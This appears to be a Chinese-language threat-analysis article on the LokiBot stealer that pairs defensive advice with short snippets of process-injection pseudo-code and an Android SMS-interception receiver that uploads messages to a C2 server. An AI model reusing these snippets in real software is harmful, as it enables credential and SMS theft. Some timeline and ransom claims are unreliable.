LokiBot信息窃取程序深度解析：技术原理与防御策略

2026年2月8日 互联网

一、LokiBot技术背景与演进历程

LokiBot作为典型的商品化恶意软件，自2016年首次出现以来持续迭代升级。其核心设计目标是通过模块化架构实现跨平台攻击能力，覆盖Windows桌面系统与Android移动设备两大主流终端环境。该程序采用C/C++混合开发模式，关键组件通过动态链接库（DLL）或DEX文件形式加载，有效规避静态检测机制。

在技术演进方面，LokiBot经历了三个关键阶段：

  1. 基础版本（2016-2018）：聚焦浏览器凭证窃取，支持Chrome/Firefox等主流浏览器的Cookie与密码数据库解析
  2. 功能扩展期（2019-2021）：增加IT管理工具（SSH客户端、RDP配置）与电子邮件客户端（Outlook/Thunderbird）的凭证收集能力
  3. 移动化转型（2022至今）：开发Android版本，通过Overlay攻击技术窃取银行APP凭证，集成SMS拦截与通讯录窃取功能

二、核心攻击模块技术解析

1. Windows平台攻击链

LokiBot在Windows环境采用三层注入技术：

  1. // 伪代码：进程注入流程示例
  2. BOOL InjectToTarget(HANDLE hTarget, BYTE* payload) {
  3.     // 1. 分配远程内存
  4.     LPVOID pRemote = VirtualAllocEx(hTarget, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  6.     // 2. 写入Shellcode
  7.     WriteProcessMemory(hTarget, pRemote, payload, payloadSize, NULL);
  9.     // 3. 创建远程线程
  10.     HANDLE hThread = CreateRemoteThread(hTarget, NULL, 0, (LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);
  11.     return hThread != NULL;
  12. }

通过上述技术，恶意代码可注入到explorer.exe或svchost.exe等系统进程，实现持久化驻留。其凭证窃取模块支持解析以下数据源：

  • 浏览器：SQLite数据库解析（Chrome的Login Data）、DPAPI加密数据解密
  • 邮件客户端：Outlook PST文件解析、Thunderbird配置文件读取
  • 远程管理：PuTTY会话存储、WinSCP主机密钥数据库

2. Android平台攻击实现

移动端版本采用复合攻击技术栈：

  • 界面劫持：通过TYPE_SYSTEM_ALERT窗口覆盖银行APP登录界面
  • 无障碍服务：利用AccessibilityService监听输入事件（需用户授权）
  • 键盘记录：注册INPUT_METHOD_SERVICE监听全局输入
  • 短信拦截：动态注册BroadcastReceiver捕获SMS_RECEIVED广播

关键实现代码片段：

  1. // 监听短信示例（需动态注册）
  2. public class SMSReceiver extends BroadcastReceiver {
  3.     @Override
  4.     public void onReceive(Context context, Intent intent) {
  5.         Bundle bundle = intent.getExtras();
  6.         if (bundle != null) {
  7.             Object[] pdus = (Object[]) bundle.get("pdus");
  8.             for (Object pdu : pdus) {
  9.                 SmsMessage msg = SmsMessage.createFromPdu((byte[]) pdu);
  10.                 // 提取发送方与内容
  11.                 String sender = msg.getOriginatingAddress();
  12.                 String body = msg.getMessageBody();
  13.                 // 上传至C2服务器
  14.                 uploadToC2(sender, body);
  15.             }
  16.         }
  17.     }
  18. }

三、数据泄露与通信机制

LokiBot采用多阶段数据泄露策略：

  1. 本地加密存储：窃取数据先以AES-256加密形式暂存于%APPDATA%\Microsoft\Crypto\目录
  2. C2通信协议：
    • 初始连接：DNS隧道或HTTPS POST请求（User-Agent伪造为Mozilla/5.0）
    • 数据传输：分块加密传输，每块大小控制在512KB以内
    • 心跳机制：每6小时发送存活确认包，包含设备指纹信息
  3. 回连域名：使用DGA算法生成动态域名，每日更新C2地址池

四、企业级防御体系构建

针对LokiBot的防御需建立纵深防护机制：

1. 终端防护层

  • 行为监控：部署EDR解决方案，监控异常进程注入行为
  • 应用控制：限制非必要应用程序的键盘记录权限
  • 内存防护：采用硬件辅助的内存加密技术（如Intel SGX）

2. 网络防护层

  • DNS监控：建立异常域名查询预警机制
  • SSL解密：对出站HTTPS流量进行深度包检测
  • 沙箱分析：对可疑文件执行动态行为分析

3. 云端防护层

  • 日志分析：集成终端日志与网络流量日志进行关联分析
  • 威胁情报：订阅恶意域名/IP黑名单服务
  • 自动化响应：配置SOAR平台实现自动隔离感染设备

4. 移动安全层

  • 应用检测：使用静态分析工具检测恶意代码特征
  • 运行时保护：部署RASP解决方案防止界面劫持
  • 网络隔离：对敏感应用实施VPN隧道隔离

五、应急响应流程

发现LokiBot感染后应立即执行：

  1. 隔离阶段：断开网络连接，防止数据外泄
  2. 取证分析：
    • 导出内存转储文件
    • 采集注册表快照（重点关注Run键值）
    • 提取%TEMP%目录下的临时文件
  3. 清除阶段：
    • 使用专用清除工具删除持久化机制
    • 重置所有被盗凭证
    • 更新系统补丁至最新版本
  4. 加固阶段：
    • 实施最小权限原则
    • 启用应用白名单机制
    • 定期进行安全意识培训

六、技术发展趋势研判

当前LokiBot变种呈现以下特征：

  1. AI赋能：使用生成式AI优化钓鱼邮件内容
  2. 供应链攻击：通过软件供应链植入初始载荷
  3. 无文件攻击：采用LOLBins技术规避磁盘检测
  4. 区块链隐匿：使用加密货币支付赎金，利用混币器隐藏资金流向

未来防御体系需重点加强：

  • 终端与云的威胁情报共享
  • 基于UEBA的用户行为分析
  • 零信任架构的全面落地
  • 自动化攻击面管理

通过构建覆盖终端、网络、云端的立体化防御体系，结合持续的安全运营与威胁狩猎，可有效抵御LokiBot等高级持续性威胁的攻击。企业应定期进行红蓝对抗演练，验证防御体系的有效性，并根据演练结果持续优化安全策略。

最新文章